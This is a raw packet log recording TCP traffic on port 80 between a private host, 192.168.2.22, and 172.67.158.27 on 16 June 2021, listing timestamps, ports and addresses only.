Jun 16, 2021 12:05:57.957431078 CEST	49170	80	192.168.2.22	172.67.158.27
Jun 16, 2021 12:05:57.958398104 CEST	80	49170	172.67.158.27	192.168.2.22
Jun 16, 2021 12:05:57.958416939 CEST	80	49170	172.67.158.27	192.168.2.22
Jun 16, 2021 12:05:57.959034920 CEST	49170	80	192.168.2.22	172.67.158.27
Jun 16, 2021 12:05:57.959424019 CEST	80	49170	172.67.158.27	192.168.2.22
Jun 16, 2021 12:05:57.959444046 CEST	80	49170	172.67.158.27	192.168.2.22
Jun 16, 2021 12:05:57.960926056 CEST	49170	80	192.168.2.22	172.67.158.27
Jun 16, 2021 12:05:57.979387045 CEST	80	49170	172.67.158.27	192.168.2.22
Jun 16, 2021 12:05:57.979412079 CEST	80	49170	172.67.158.27	192.168.2.22
Jun 16, 2021 12:05:57.979600906 CEST	49170	80	192.168.2.22	172.67.158.27
Jun 16, 2021 12:05:57.979814053 CEST	80	49170	172.67.158.27	192.168.2.22
Jun 16, 2021 12:05:57.979832888 CEST	80	49170	172.67.158.27	192.168.2.22
Jun 16, 2021 12:05:57.980629921 CEST	49169	80	192.168.2.22	172.67.158.27
Jun 16, 2021 12:05:57.981091976 CEST	49169	80	192.168.2.22	172.67.158.27
Jun 16, 2021 12:05:57.981772900 CEST	80	49170	172.67.158.27	192.168.2.22
Jun 16, 2021 12:05:57.981794119 CEST	80	49170	172.67.158.27	192.168.2.22
Jun 16, 2021 12:05:57.981841087 CEST	49170	80	192.168.2.22	172.67.158.27
Jun 16, 2021 12:05:57.981853962 CEST	49170	80	192.168.2.22	172.67.158.27
Jun 16, 2021 12:05:57.982295036 CEST	80	49170	172.67.158.27	192.168.2.22
Jun 16, 2021 12:05:57.982319117 CEST	80	49170	172.67.158.27	192.168.2.22
Jun 16, 2021 12:05:57.983815908 CEST	80	49169	172.67.158.27	192.168.2.22
Jun 16, 2021 12:05:57.983835936 CEST	80	49169	172.67.158.27	192.168.2.22
Jun 16, 2021 12:05:57.983850956 CEST	80	49169	172.67.158.27	192.168.2.22
Jun 16, 2021 12:05:57.983865976 CEST	80	49169	172.67.158.27	192.168.2.22
Jun 16, 2021 12:05:57.983880043 CEST	80	49169	172.67.158.27	192.168.2.22
Jun 16, 2021 12:05:57.983891010 CEST	49169	80	192.168.2.22	172.67.158.27
Jun 16, 2021 12:05:57.983895063 CEST	80	49169	172.67.158.27	192.168.2.22
Jun 16, 2021 12:05:57.983906984 CEST	80	49169	172.67.158.27	192.168.2.22
Jun 16, 2021 12:05:57.983916044 CEST	49169	80	192.168.2.22	172.67.158.27
Jun 16, 2021 12:05:57.984563112 CEST	80	49169	172.67.158.27	192.168.2.22
Jun 16, 2021 12:05:57.984580994 CEST	80	49170	172.67.158.27	192.168.2.22
Jun 16, 2021 12:05:57.984601021 CEST	80	49170	172.67.158.27	192.168.2.22
Jun 16, 2021 12:05:57.984617949 CEST	49169	80	192.168.2.22	172.67.158.27
Jun 16, 2021 12:05:57.984641075 CEST	49170	80	192.168.2.22	172.67.158.27
Jun 16, 2021 12:05:57.984658957 CEST	49170	80	192.168.2.22	172.67.158.27
Jun 16, 2021 12:05:57.985090017 CEST	80	49170	172.67.158.27	192.168.2.22
Jun 16, 2021 12:05:57.985110998 CEST	80	49170	172.67.158.27	192.168.2.22
Jun 16, 2021 12:05:57.986162901 CEST	49170	80	192.168.2.22	172.67.158.27
Jun 16, 2021 12:05:57.986166954 CEST	80	49170	172.67.158.27	192.168.2.22
Jun 16, 2021 12:05:57.986186028 CEST	80	49170	172.67.158.27	192.168.2.22
Jun 16, 2021 12:05:57.987162113 CEST	80	49170	172.67.158.27	192.168.2.22
Jun 16, 2021 12:05:57.987179041 CEST	80	49170	172.67.158.27	192.168.2.22
Jun 16, 2021 12:05:57.991053104 CEST	49170	80	192.168.2.22	172.67.158.27
Jun 16, 2021 12:05:57.991674900 CEST	80	49170	172.67.158.27	192.168.2.22
Jun 16, 2021 12:05:57.991694927 CEST	80	49170	172.67.158.27	192.168.2.22
Jun 16, 2021 12:05:57.992696047 CEST	80	49170	172.67.158.27	192.168.2.22
Jun 16, 2021 12:05:57.992718935 CEST	80	49170	172.67.158.27	192.168.2.22
Jun 16, 2021 12:05:57.993242979 CEST	80	49170	172.67.158.27	192.168.2.22
Jun 16, 2021 12:05:57.993266106 CEST	80	49170	172.67.158.27	192.168.2.22
Jun 16, 2021 12:05:57.993325949 CEST	49170	80	192.168.2.22	172.67.158.27
Jun 16, 2021 12:05:57.993366957 CEST	49170	80	192.168.2.22	172.67.158.27
Jun 16, 2021 12:05:57.994259119 CEST	80	49170	172.67.158.27	192.168.2.22
Jun 16, 2021 12:05:57.994286060 CEST	80	49170	172.67.158.27	192.168.2.22
Jun 16, 2021 12:05:57.995300055 CEST	80	49170	172.67.158.27	192.168.2.22
Jun 16, 2021 12:05:57.995321989 CEST	80	49170	172.67.158.27	192.168.2.22
Jun 16, 2021 12:05:57.995342970 CEST	49170	80	192.168.2.22	172.67.158.27
Jun 16, 2021 12:05:57.996339083 CEST	80	49170	172.67.158.27	192.168.2.22
Jun 16, 2021 12:05:57.996364117 CEST	80	49170	172.67.158.27	192.168.2.22
Jun 16, 2021 12:05:57.996407032 CEST	49170	80	192.168.2.22	172.67.158.27
Jun 16, 2021 12:05:57.996429920 CEST	49170	80	192.168.2.22	172.67.158.27
Jun 16, 2021 12:05:57.996831894 CEST	49170	80	192.168.2.22	172.67.158.27
Jun 16, 2021 12:05:57.996844053 CEST	49170	80	192.168.2.22	172.67.158.27
Jun 16, 2021 12:05:57.998246908 CEST	80	49170	172.67.158.27	192.168.2.22
Jun 16, 2021 12:05:57.998270988 CEST	80	49170	172.67.158.27	192.168.2.22
Jun 16, 2021 12:05:57.998378038 CEST	80	49170	172.67.158.27	192.168.2.22
Jun 16, 2021 12:05:57.998397112 CEST	80	49170	172.67.158.27	192.168.2.22
Jun 16, 2021 12:05:57.998856068 CEST	49170	80	192.168.2.22	172.67.158.27
Jun 16, 2021 12:05:57.998887062 CEST	49170	80	192.168.2.22	172.67.158.27
Jun 16, 2021 12:05:57.999093056 CEST	49170	80	192.168.2.22	172.67.158.27
Jun 16, 2021 12:05:57.999353886 CEST	80	49170	172.67.158.27	192.168.2.22
Jun 16, 2021 12:05:57.999375105 CEST	80	49170	172.67.158.27	192.168.2.22
Jun 16, 2021 12:05:58.000237942 CEST	49170	80	192.168.2.22	172.67.158.27
Jun 16, 2021 12:05:58.000350952 CEST	80	49170	172.67.158.27	192.168.2.22
Jun 16, 2021 12:05:58.000371933 CEST	80	49170	172.67.158.27	192.168.2.22
Jun 16, 2021 12:05:58.000633955 CEST	49170	80	192.168.2.22	172.67.158.27
Jun 16, 2021 12:05:58.001245975 CEST	80	49170	172.67.158.27	192.168.2.22
Jun 16, 2021 12:05:58.001267910 CEST	80	49170	172.67.158.27	192.168.2.22
Jun 16, 2021 12:05:58.001364946 CEST	49170	80	192.168.2.22	172.67.158.27
Jun 16, 2021 12:05:58.002168894 CEST	80	49170	172.67.158.27	192.168.2.22
Jun 16, 2021 12:05:58.002191067 CEST	80	49170	172.67.158.27	192.168.2.22
Jun 16, 2021 12:05:58.002276897 CEST	49170	80	192.168.2.22	172.67.158.27
Jun 16, 2021 12:05:58.003016949 CEST	80	49170	172.67.158.27	192.168.2.22
Jun 16, 2021 12:05:58.003037930 CEST	80	49170	172.67.158.27	192.168.2.22
Jun 16, 2021 12:05:58.003418922 CEST	49170	80	192.168.2.22	172.67.158.27
Jun 16, 2021 12:05:58.003879070 CEST	80	49170	172.67.158.27	192.168.2.22
Jun 16, 2021 12:05:58.003899097 CEST	80	49170	172.67.158.27	192.168.2.22
Jun 16, 2021 12:05:58.003956079 CEST	49170	80	192.168.2.22	172.67.158.27
Jun 16, 2021 12:05:58.004705906 CEST	80	49170	172.67.158.27	192.168.2.22
Jun 16, 2021 12:05:58.004728079 CEST	80	49170	172.67.158.27	192.168.2.22
Jun 16, 2021 12:05:58.004781961 CEST	49170	80	192.168.2.22	172.67.158.27
Jun 16, 2021 12:05:58.005520105 CEST	80	49170	172.67.158.27	192.168.2.22
Jun 16, 2021 12:05:58.005541086 CEST	80	49170	172.67.158.27	192.168.2.22
Jun 16, 2021 12:05:58.005592108 CEST	49170	80	192.168.2.22	172.67.158.27
Jun 16, 2021 12:05:58.022207022 CEST	80	49170	172.67.158.27	192.168.2.22
Jun 16, 2021 12:05:58.022233009 CEST	80	49170	172.67.158.27	192.168.2.22
Jun 16, 2021 12:05:58.022249937 CEST	80	49170	172.67.158.27	192.168.2.22
Jun 16, 2021 12:05:58.022344112 CEST	49170	80	192.168.2.22	172.67.158.27
Jun 16, 2021 12:05:58.024210930 CEST	80	49170	172.67.158.27	192.168.2.22
Jun 16, 2021 12:05:58.024231911 CEST	80	49170	172.67.158.27	192.168.2.22
Jun 16, 2021 12:05:58.027041912 CEST	80	49170	172.67.158.27	192.168.2.22
Jun 16, 2021 12:05:58.027075052 CEST	80	49170	172.67.158.27	192.168.2.22
Jun 16, 2021 12:05:58.027092934 CEST	80	49170	172.67.158.27	192.168.2.22
Jun 16, 2021 12:05:58.027143002 CEST	49170	80	192.168.2.22	172.67.158.27
Jun 16, 2021 12:05:58.027160883 CEST	49170	80	192.168.2.22	172.67.158.27
Jun 16, 2021 12:05:58.040766001 CEST	80	49170	172.67.158.27	192.168.2.22
Jun 16, 2021 12:05:58.040786982 CEST	80	49170	172.67.158.27	192.168.2.22
Jun 16, 2021 12:05:58.040800095 CEST	80	49170	172.67.158.27	192.168.2.22
Jun 16, 2021 12:05:58.040889978 CEST	49170	80	192.168.2.22	172.67.158.27
Jun 16, 2021 12:05:58.041052103 CEST	80	49170	172.67.158.27	192.168.2.22
Jun 16, 2021 12:05:58.041071892 CEST	80	49170	172.67.158.27	192.168.2.22
Jun 16, 2021 12:05:58.041132927 CEST	49170	80	192.168.2.22	172.67.158.27
Jun 16, 2021 12:05:58.042045116 CEST	80	49170	172.67.158.27	192.168.2.22
Jun 16, 2021 12:05:58.042077065 CEST	80	49170	172.67.158.27	192.168.2.22
Jun 16, 2021 12:05:58.042098045 CEST	80	49170	172.67.158.27	192.168.2.22
Jun 16, 2021 12:05:58.042121887 CEST	80	49170	172.67.158.27	192.168.2.22
Jun 16, 2021 12:05:58.042133093 CEST	49170	80	192.168.2.22	172.67.158.27
Jun 16, 2021 12:05:58.042639017 CEST	49170	80	192.168.2.22	172.67.158.27
Jun 16, 2021 12:05:58.042984009 CEST	80	49170	172.67.158.27	192.168.2.22
Jun 16, 2021 12:05:58.043009043 CEST	80	49170	172.67.158.27	192.168.2.22
Jun 16, 2021 12:05:58.043030024 CEST	80	49170	172.67.158.27	192.168.2.22
Jun 16, 2021 12:05:58.043059111 CEST	49170	80	192.168.2.22	172.67.158.27
Jun 16, 2021 12:05:58.043955088 CEST	80	49170	172.67.158.27	192.168.2.22
Jun 16, 2021 12:05:58.043981075 CEST	80	49170	172.67.158.27	192.168.2.22
Jun 16, 2021 12:05:58.044003010 CEST	80	49170	172.67.158.27	192.168.2.22
Jun 16, 2021 12:05:58.044024944 CEST	49170	80	192.168.2.22	172.67.158.27
Jun 16, 2021 12:05:58.044038057 CEST	49170	80	192.168.2.22	172.67.158.27
Jun 16, 2021 12:05:58.044934034 CEST	80	49170	172.67.158.27	192.168.2.22
Jun 16, 2021 12:05:58.044965982 CEST	80	49170	172.67.158.27	192.168.2.22
Jun 16, 2021 12:05:58.044991016 CEST	80	49170	172.67.158.27	192.168.2.22
Jun 16, 2021 12:05:58.045012951 CEST	49170	80	192.168.2.22	172.67.158.27
Jun 16, 2021 12:05:58.045921087 CEST	80	49170	172.67.158.27	192.168.2.22
Jun 16, 2021 12:05:58.045943975 CEST	80	49170	172.67.158.27	192.168.2.22
Jun 16, 2021 12:05:58.045964956 CEST	80	49170	172.67.158.27	192.168.2.22
Jun 16, 2021 12:05:58.045990944 CEST	49170	80	192.168.2.22	172.67.158.27
Jun 16, 2021 12:05:58.046004057 CEST	49170	80	192.168.2.22	172.67.158.27
Jun 16, 2021 12:05:58.046808958 CEST	80	49170	172.67.158.27	192.168.2.22
Jun 16, 2021 12:05:58.046829939 CEST	80	49170	172.67.158.27	192.168.2.22
Jun 16, 2021 12:05:58.046854973 CEST	80	49170	172.67.158.27	192.168.2.22
Jun 16, 2021 12:05:58.046881914 CEST	49170	80	192.168.2.22	172.67.158.27
Jun 16, 2021 12:05:58.047768116 CEST	80	49170	172.67.158.27	192.168.2.22
Jun 16, 2021 12:05:58.047787905 CEST	80	49170	172.67.158.27	192.168.2.22
Jun 16, 2021 12:05:58.047813892 CEST	80	49170	172.67.158.27	192.168.2.22
Jun 16, 2021 12:05:58.047841072 CEST	49170	80	192.168.2.22	172.67.158.27
Jun 16, 2021 12:05:58.048726082 CEST	80	49170	172.67.158.27	192.168.2.22
Jun 16, 2021 12:05:58.048744917 CEST	80	49170	172.67.158.27	192.168.2.22
Jun 16, 2021 12:05:58.048768997 CEST	80	49170	172.67.158.27	192.168.2.22
Jun 16, 2021 12:05:58.048772097 CEST	49170	80	192.168.2.22	172.67.158.27
Jun 16, 2021 12:05:58.049658060 CEST	80	49170	172.67.158.27	192.168.2.22
Jun 16, 2021 12:05:58.049674034 CEST	80	49170	172.67.158.27	192.168.2.22
Jun 16, 2021 12:05:58.049700022 CEST	80	49170	172.67.158.27	192.168.2.22
Jun 16, 2021 12:05:58.049752951 CEST	49170	80	192.168.2.22	172.67.158.27
Jun 16, 2021 12:05:58.049762964 CEST	49170	80	192.168.2.22	172.67.158.27
Jun 16, 2021 12:05:58.050636053 CEST	80	49170	172.67.158.27	192.168.2.22
Jun 16, 2021 12:05:58.050658941 CEST	80	49170	172.67.158.27	192.168.2.22
Jun 16, 2021 12:05:58.050684929 CEST	80	49170	172.67.158.27	192.168.2.22
Jun 16, 2021 12:05:58.051587105 CEST	80	49170	172.67.158.27	192.168.2.22
Jun 16, 2021 12:05:58.051604033 CEST	80	49170	172.67.158.27	192.168.2.22
Jun 16, 2021 12:05:58.051626921 CEST	80	49170	172.67.158.27	192.168.2.22
Jun 16, 2021 12:05:58.051636934 CEST	49170	80	192.168.2.22	172.67.158.27
Jun 16, 2021 12:05:58.051690102 CEST	49170	80	192.168.2.22	172.67.158.27
Jun 16, 2021 12:05:58.052545071 CEST	80	49170	172.67.158.27	192.168.2.22
Jun 16, 2021 12:05:58.052565098 CEST	80	49170	172.67.158.27	192.168.2.22
Jun 16, 2021 12:05:58.053040981 CEST	49170	80	192.168.2.22	172.67.158.27
Jun 16, 2021 12:05:58.053487062 CEST	80	49170	172.67.158.27	192.168.2.22
Jun 16, 2021 12:05:58.053505898 CEST	80	49170	172.67.158.27	192.168.2.22
Jun 16, 2021 12:05:58.053534985 CEST	80	49170	172.67.158.27	192.168.2.22
Jun 16, 2021 12:05:58.053560972 CEST	49170	80	192.168.2.22	172.67.158.27
Jun 16, 2021 12:05:58.053560972 CEST	80	49170	172.67.158.27	192.168.2.22
Jun 16, 2021 12:05:58.053654909 CEST	49170	80	192.168.2.22	172.67.158.27
Jun 16, 2021 12:05:58.059178114 CEST	80	49170	172.67.158.27	192.168.2.22
Jun 16, 2021 12:05:58.059209108 CEST	80	49170	172.67.158.27	192.168.2.22
Jun 16, 2021 12:05:58.059230089 CEST	80	49170	172.67.158.27	192.168.2.22
Jun 16, 2021 12:05:58.059251070 CEST	80	49170	172.67.158.27	192.168.2.22
Jun 16, 2021 12:05:58.059267044 CEST	49170	80	192.168.2.22	172.67.158.27
Jun 16, 2021 12:05:58.059272051 CEST	80	49170	172.67.158.27	192.168.2.22
Jun 16, 2021 12:05:58.059293985 CEST	80	49170	172.67.158.27	192.168.2.22
Jun 16, 2021 12:05:58.059317112 CEST	80	49170	172.67.158.27	192.168.2.22
Jun 16, 2021 12:05:58.059339046 CEST	49170	80	192.168.2.22	172.67.158.27
Jun 16, 2021 12:05:58.059340954 CEST	80	49170	172.67.158.27	192.168.2.22
Jun 16, 2021 12:05:58.059364080 CEST	80	49170	172.67.158.27	192.168.2.22
Jun 16, 2021 12:05:58.059386015 CEST	80	49170	172.67.158.27	192.168.2.22
Jun 16, 2021 12:05:58.059406042 CEST	80	49170	172.67.158.27	192.168.2.22
Jun 16, 2021 12:05:58.059426069 CEST	80	49170	172.67.158.27	192.168.2.22
Jun 16, 2021 12:05:58.059437037 CEST	49170	80	192.168.2.22	172.67.158.27
Jun 16, 2021 12:05:58.059443951 CEST	49170	80	192.168.2.22	172.67.158.27
Jun 16, 2021 12:05:58.059447050 CEST	80	49170	172.67.158.27	192.168.2.22
Jun 16, 2021 12:05:58.059448957 CEST	49170	80	192.168.2.22	172.67.158.27
Jun 16, 2021 12:05:58.059468031 CEST	80	49170	172.67.158.27	192.168.2.22
Jun 16, 2021 12:05:58.059489012 CEST	80	49170	172.67.158.27	192.168.2.22
Jun 16, 2021 12:05:58.059508085 CEST	80	49170	172.67.158.27	192.168.2.22
Jun 16, 2021 12:05:58.059525013 CEST	49170	80	192.168.2.22	172.67.158.27
Jun 16, 2021 12:05:58.059530020 CEST	80	49170	172.67.158.27	192.168.2.22
Jun 16, 2021 12:05:58.059551001 CEST	80	49170	172.67.158.27	192.168.2.22
Jun 16, 2021 12:05:58.059607029 CEST	49170	80	192.168.2.22	172.67.158.27
Jun 16, 2021 12:05:58.059611082 CEST	49170	80	192.168.2.22	172.67.158.27
Jun 16, 2021 12:05:58.060197115 CEST	80	49170	172.67.158.27	192.168.2.22
Jun 16, 2021 12:05:58.060223103 CEST	80	49170	172.67.158.27	192.168.2.22
Jun 16, 2021 12:05:58.060246944 CEST	80	49170	172.67.158.27	192.168.2.22
Jun 16, 2021 12:05:58.060266972 CEST	49170	80	192.168.2.22	172.67.158.27
Jun 16, 2021 12:05:58.061175108 CEST	80	49170	172.67.158.27	192.168.2.22
Jun 16, 2021 12:05:58.061201096 CEST	80	49170	172.67.158.27	192.168.2.22
Jun 16, 2021 12:05:58.061223984 CEST	80	49170	172.67.158.27	192.168.2.22
Jun 16, 2021 12:05:58.061229944 CEST	49170	80	192.168.2.22	172.67.158.27
Jun 16, 2021 12:05:58.061400890 CEST	49170	80	192.168.2.22	172.67.158.27
Jun 16, 2021 12:05:58.062131882 CEST	80	49170	172.67.158.27	192.168.2.22
Jun 16, 2021 12:05:58.062159061 CEST	80	49170	172.67.158.27	192.168.2.22
Jun 16, 2021 12:05:58.062180042 CEST	80	49170	172.67.158.27	192.168.2.22
Jun 16, 2021 12:05:58.062196016 CEST	49170	80	192.168.2.22	172.67.158.27
Jun 16, 2021 12:05:58.063056946 CEST	80	49170	172.67.158.27	192.168.2.22
Jun 16, 2021 12:05:58.063082933 CEST	80	49170	172.67.158.27	192.168.2.22
Jun 16, 2021 12:05:58.063103914 CEST	80	49170	172.67.158.27	192.168.2.22
Jun 16, 2021 12:05:58.063110113 CEST	49170	80	192.168.2.22	172.67.158.27
Jun 16, 2021 12:05:58.063467026 CEST	49170	80	192.168.2.22	172.67.158.27
Jun 16, 2021 12:05:58.064032078 CEST	80	49170	172.67.158.27	192.168.2.22
Jun 16, 2021 12:05:58.064059019 CEST	80	49170	172.67.158.27	192.168.2.22
Jun 16, 2021 12:05:58.064079046 CEST	80	49170	172.67.158.27	192.168.2.22
Jun 16, 2021 12:05:58.065002918 CEST	80	49170	172.67.158.27	192.168.2.22
Jun 16, 2021 12:05:58.065028906 CEST	80	49170	172.67.158.27	192.168.2.22
Jun 16, 2021 12:05:58.065052986 CEST	80	49170	172.67.158.27	192.168.2.22
Jun 16, 2021 12:05:58.065071106 CEST	49170	80	192.168.2.22	172.67.158.27
Jun 16, 2021 12:05:58.065083027 CEST	49170	80	192.168.2.22	172.67.158.27
Jun 16, 2021 12:05:58.065936089 CEST	80	49170	172.67.158.27	192.168.2.22
Jun 16, 2021 12:05:58.065958977 CEST	80	49170	172.67.158.27	192.168.2.22
Jun 16, 2021 12:05:58.065983057 CEST	80	49170	172.67.158.27	192.168.2.22
Jun 16, 2021 12:05:58.065985918 CEST	49170	80	192.168.2.22	172.67.158.27
Jun 16, 2021 12:05:58.066174030 CEST	49170	80	192.168.2.22	172.67.158.27
Jun 16, 2021 12:05:58.066941023 CEST	80	49170	172.67.158.27	192.168.2.22
Jun 16, 2021 12:05:58.066973925 CEST	80	49170	172.67.158.27	192.168.2.22
Jun 16, 2021 12:05:58.067013025 CEST	49170	80	192.168.2.22	172.67.158.27
Jun 16, 2021 12:05:58.067858934 CEST	80	49170	172.67.158.27	192.168.2.22
Jun 16, 2021 12:05:58.067888975 CEST	80	49170	172.67.158.27	192.168.2.22
Jun 16, 2021 12:05:58.067909956 CEST	80	49170	172.67.158.27	192.168.2.22
Jun 16, 2021 12:05:58.067930937 CEST	80	49170	172.67.158.27	192.168.2.22
Jun 16, 2021 12:05:58.067930937 CEST	49170	80	192.168.2.22	172.67.158.27
Jun 16, 2021 12:05:58.067996979 CEST	49170	80	192.168.2.22	172.67.158.27
Jun 16, 2021 12:05:58.068778038 CEST	80	49170	172.67.158.27	192.168.2.22
Jun 16, 2021 12:05:58.068809032 CEST	80	49170	172.67.158.27	192.168.2.22
Jun 16, 2021 12:05:58.068830013 CEST	80	49170	172.67.158.27	192.168.2.22
Jun 16, 2021 12:05:58.068892956 CEST	49170	80	192.168.2.22	172.67.158.27
Jun 16, 2021 12:05:58.069696903 CEST	80	49170	172.67.158.27	192.168.2.22
Jun 16, 2021 12:05:58.069727898 CEST	80	49170	172.67.158.27	192.168.2.22
Jun 16, 2021 12:05:58.069747925 CEST	80	49170	172.67.158.27	192.168.2.22
Jun 16, 2021 12:05:58.069776058 CEST	49170	80	192.168.2.22	172.67.158.27
Jun 16, 2021 12:05:58.070678949 CEST	80	49170	172.67.158.27	192.168.2.22
Jun 16, 2021 12:05:58.070699930 CEST	80	49170	172.67.158.27	192.168.2.22
Jun 16, 2021 12:05:58.070729017 CEST	80	49170	172.67.158.27	192.168.2.22
Jun 16, 2021 12:05:58.071562052 CEST	80	49170	172.67.158.27	192.168.2.22
Jun 16, 2021 12:05:58.071585894 CEST	80	49170	172.67.158.27	192.168.2.22
Jun 16, 2021 12:05:58.071605921 CEST	80	49170	172.67.158.27	192.168.2.22
Jun 16, 2021 12:05:58.071645975 CEST	49170	80	192.168.2.22	172.67.158.27
Jun 16, 2021 12:05:58.071657896 CEST	49170	80	192.168.2.22	172.67.158.27
Jun 16, 2021 12:05:58.072526932 CEST	80	49170	172.67.158.27	192.168.2.22
Jun 16, 2021 12:05:58.072551012 CEST	80	49170	172.67.158.27	192.168.2.22
Jun 16, 2021 12:05:58.072571039 CEST	80	49170	172.67.158.27	192.168.2.22
Jun 16, 2021 12:05:58.073360920 CEST	80	49170	172.67.158.27	192.168.2.22
Jun 16, 2021 12:05:58.073385000 CEST	80	49170	172.67.158.27	192.168.2.22
Jun 16, 2021 12:05:58.073390007 CEST	49170	80	192.168.2.22	172.67.158.27
Jun 16, 2021 12:05:58.073405981 CEST	80	49170	172.67.158.27	192.168.2.22
Jun 16, 2021 12:05:58.073453903 CEST	49170	80	192.168.2.22	172.67.158.27
Jun 16, 2021 12:05:58.074309111 CEST	80	49170	172.67.158.27	192.168.2.22
Jun 16, 2021 12:05:58.074333906 CEST	80	49170	172.67.158.27	192.168.2.22
Jun 16, 2021 12:05:58.074383020 CEST	49170	80	192.168.2.22	172.67.158.27
Jun 16, 2021 12:05:58.075202942 CEST	80	49170	172.67.158.27	192.168.2.22
Jun 16, 2021 12:05:58.075227022 CEST	80	49170	172.67.158.27	192.168.2.22
Jun 16, 2021 12:05:58.075251102 CEST	80	49170	172.67.158.27	192.168.2.22
Jun 16, 2021 12:05:58.075270891 CEST	80	49170	172.67.158.27	192.168.2.22
Jun 16, 2021 12:05:58.075293064 CEST	49170	80	192.168.2.22	172.67.158.27
Jun 16, 2021 12:05:58.075310946 CEST	49170	80	192.168.2.22	172.67.158.27
Jun 16, 2021 12:05:58.076126099 CEST	80	49170	172.67.158.27	192.168.2.22
Jun 16, 2021 12:05:58.076150894 CEST	80	49170	172.67.158.27	192.168.2.22
Jun 16, 2021 12:05:58.076172113 CEST	80	49170	172.67.158.27	192.168.2.22
Jun 16, 2021 12:05:58.076212883 CEST	49170	80	192.168.2.22	172.67.158.27
Jun 16, 2021 12:05:58.077055931 CEST	80	49170	172.67.158.27	192.168.2.22
Jun 16, 2021 12:05:58.077091932 CEST	80	49170	172.67.158.27	192.168.2.22
Jun 16, 2021 12:05:58.077115059 CEST	80	49170	172.67.158.27	192.168.2.22
Jun 16, 2021 12:05:58.077116966 CEST	49170	80	192.168.2.22	172.67.158.27
Jun 16, 2021 12:05:58.077251911 CEST	49170	80	192.168.2.22	172.67.158.27
Jun 16, 2021 12:05:58.077977896 CEST	80	49170	172.67.158.27	192.168.2.22
Jun 16, 2021 12:05:58.077999115 CEST	80	49170	172.67.158.27	192.168.2.22
Jun 16, 2021 12:05:58.078022957 CEST	80	49170	172.67.158.27	192.168.2.22
Jun 16, 2021 12:05:58.078063965 CEST	49170	80	192.168.2.22	172.67.158.27
Jun 16, 2021 12:05:58.078959942 CEST	80	49170	172.67.158.27	192.168.2.22
Jun 16, 2021 12:05:58.078982115 CEST	80	49170	172.67.158.27	192.168.2.22
Jun 16, 2021 12:05:58.079005003 CEST	80	49170	172.67.158.27	192.168.2.22
Jun 16, 2021 12:05:58.079041004 CEST	49170	80	192.168.2.22	172.67.158.27
Jun 16, 2021 12:05:58.083522081 CEST	49170	80	192.168.2.22	172.67.158.27
Jun 16, 2021 12:05:58.083538055 CEST	49170	80	192.168.2.22	172.67.158.27
Jun 16, 2021 12:05:58.083789110 CEST	80	49170	172.67.158.27	192.168.2.22
Jun 16, 2021 12:05:58.083821058 CEST	80	49170	172.67.158.27	192.168.2.22
Jun 16, 2021 12:05:58.084621906 CEST	80	49170	172.67.158.27	192.168.2.22
Jun 16, 2021 12:05:58.084645033 CEST	80	49170	172.67.158.27	192.168.2.22
Jun 16, 2021 12:05:58.084667921 CEST	80	49170	172.67.158.27	192.168.2.22
Jun 16, 2021 12:05:58.084690094 CEST	80	49170	172.67.158.27	192.168.2.22
Jun 16, 2021 12:05:58.085156918 CEST	80	49170	172.67.158.27	192.168.2.22
Jun 16, 2021 12:05:58.085182905 CEST	80	49170	172.67.158.27	192.168.2.22
Jun 16, 2021 12:05:58.085206985 CEST	80	49170	172.67.158.27	192.168.2.22
Jun 16, 2021 12:05:58.085222960 CEST	49170	80	192.168.2.22	172.67.158.27
Jun 16, 2021 12:05:58.085231066 CEST	49170	80	192.168.2.22	172.67.158.27
Jun 16, 2021 12:05:58.086401939 CEST	80	49170	172.67.158.27	192.168.2.22
Jun 16, 2021 12:05:58.086421013 CEST	80	49170	172.67.158.27	192.168.2.22
Jun 16, 2021 12:05:58.086441994 CEST	80	49170	172.67.158.27	192.168.2.22
Jun 16, 2021 12:05:58.087001085 CEST	80	49170	172.67.158.27	192.168.2.22
Jun 16, 2021 12:05:58.087025881 CEST	80	49170	172.67.158.27	192.168.2.22
Jun 16, 2021 12:05:58.087025881 CEST	49170	80	192.168.2.22	172.67.158.27
Jun 16, 2021 12:05:58.087047100 CEST	80	49170	172.67.158.27	192.168.2.22
Jun 16, 2021 12:05:58.088258028 CEST	80	49170	172.67.158.27	192.168.2.22
Jun 16, 2021 12:05:58.088283062 CEST	80	49170	172.67.158.27	192.168.2.22
Jun 16, 2021 12:05:58.088303089 CEST	80	49170	172.67.158.27	192.168.2.22
Jun 16, 2021 12:05:58.088321924 CEST	49170	80	192.168.2.22	172.67.158.27
Jun 16, 2021 12:05:58.088327885 CEST	49170	80	192.168.2.22	172.67.158.27
Jun 16, 2021 12:05:58.088845968 CEST	80	49170	172.67.158.27	192.168.2.22
Jun 16, 2021 12:05:58.088865995 CEST	80	49170	172.67.158.27	192.168.2.22
Jun 16, 2021 12:05:58.090317965 CEST	80	49170	172.67.158.27	192.168.2.22
Jun 16, 2021 12:05:58.090457916 CEST	49170	80	192.168.2.22	172.67.158.27
Jun 16, 2021 12:05:58.090466022 CEST	49170	80	192.168.2.22	172.67.158.27
Jun 16, 2021 12:05:58.090600014 CEST	49170	80	192.168.2.22	172.67.158.27
Jun 16, 2021 12:05:58.093669891 CEST	49170	80	192.168.2.22	172.67.158.27
Jun 16, 2021 12:05:58.095968962 CEST	80	49170	172.67.158.27	192.168.2.22
Jun 16, 2021 12:05:58.095997095 CEST	80	49170	172.67.158.27	192.168.2.22
Jun 16, 2021 12:05:58.096019983 CEST	80	49170	172.67.158.27	192.168.2.22
Jun 16, 2021 12:05:58.096400976 CEST	80	49170	172.67.158.27	192.168.2.22
Jun 16, 2021 12:05:58.096425056 CEST	80	49170	172.67.158.27	192.168.2.22
Jun 16, 2021 12:05:58.096445084 CEST	80	49170	172.67.158.27	192.168.2.22
Jun 16, 2021 12:05:58.096482992 CEST	49170	80	192.168.2.22	172.67.158.27
Jun 16, 2021 12:05:58.096493006 CEST	49170	80	192.168.2.22	172.67.158.27
Jun 16, 2021 12:05:58.097369909 CEST	80	49170	172.67.158.27	192.168.2.22
Jun 16, 2021 12:05:58.097395897 CEST	80	49170	172.67.158.27	192.168.2.22
Jun 16, 2021 12:05:58.097419024 CEST	80	49170	172.67.158.27	192.168.2.22
Jun 16, 2021 12:05:58.098083019 CEST	49170	80	192.168.2.22	172.67.158.27
Jun 16, 2021 12:05:58.098273039 CEST	80	49170	172.67.158.27	192.168.2.22
Jun 16, 2021 12:05:58.098298073 CEST	80	49170	172.67.158.27	192.168.2.22
Jun 16, 2021 12:05:58.098319054 CEST	80	49170	172.67.158.27	192.168.2.22
Jun 16, 2021 12:05:58.098337889 CEST	49170	80	192.168.2.22	172.67.158.27
